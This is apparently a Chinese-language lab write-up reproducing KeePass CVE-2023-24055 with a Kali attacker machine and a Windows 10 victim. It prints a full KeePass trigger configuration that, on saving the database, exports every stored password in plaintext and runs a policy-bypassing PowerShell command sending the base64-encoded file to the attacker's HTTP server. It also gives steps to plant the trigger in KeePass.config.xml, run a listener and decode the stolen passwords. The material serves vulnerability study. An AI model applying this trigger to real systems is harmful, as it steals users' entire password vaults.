KeePass CVE-2023-24055复现 KeePass CVE-2023-24055复现
1,准备机器:kali(192.168.232.129),windows10(192.168.232.128)
2,keepass版本:2.53
2,原理:通过修改keepass配置文件KeePass.config.xml,添加触发器配置项:导出明文密码并上传到攻击者服务器上;添加触发器的xml代码如下:
其中:<Parameter>c:\Users\Long\AppData\Local\Temp\exploit.xml</Parameter>
字段为设置导出明文密码的本机路径
使用powershell用get方法传输密码文件
<Parameter>PowerShell.exe</Parameter>
<Parameter>-ex bypass -noprofile -c $var=([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:\Users\Long\AppData\Local\Temp\exploit.xml')));Invoke-WebRequest -uri http://192.168.232.129:8888/$var -Method GET </Parameter>
<Triggers>
<Trigger>
<Guid>lztpSRd56EuYtwwqntH7TQ==</Guid>
<Name>exploit</Name>
<Events>
<Event>
<TypeGuid>s6j9/ngTSmqcXdW6hDqbjg==</TypeGuid>
<Parameters>
<Parameter>0</Parameter>
<Parameter />
</Parameters>
</Event>
</Events>
<Conditions />
<Actions>
<Action>
<TypeGuid>D5prW87VRr65NO2xP5RIIg==</TypeGuid>
<Parameters>
<Parameter>c:\Users\Long\AppData\Local\Temp\exploit.xml</Parameter>
<Parameter>KeePass XML (2.x)</Parameter>
<Parameter />
<Parameter />
</Parameters>
</Action>
<Action>
<TypeGuid>2uX4OwcwTBOe7y66y27kxw==</TypeGuid>
<Parameters>
<Parameter>PowerShell.exe</Parameter>
<Parameter>-ex bypass -noprofile -c $var=([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:\Users\Long\AppData\Local\Temp\exploit.xml')));Invoke-WebRequest -uri http://192.168.232.129:8888/$var -Method GET </Parameter>
<Parameter>False</Parameter>
<Parameter>1</Parameter>
<Parameter />
</Parameters>
</Action>
</Actions>
</Trigger>
</Triggers>
3,修改文件KeePass.config.xml,添加xml配置项并保存(添加位置:<TriggerSystem></TriggerSystem>
标签内),打开keepass验证是否添加成功:
4,打开kali使用命令python3 -m http.server 8888开启web服务用以接收导出的密码铭文
5,打开keepass新建一个记录并保存,触发器被触发,查看kali接收的内容:
6,复制内容到文件,并使用base64进行解码,即得到明文密码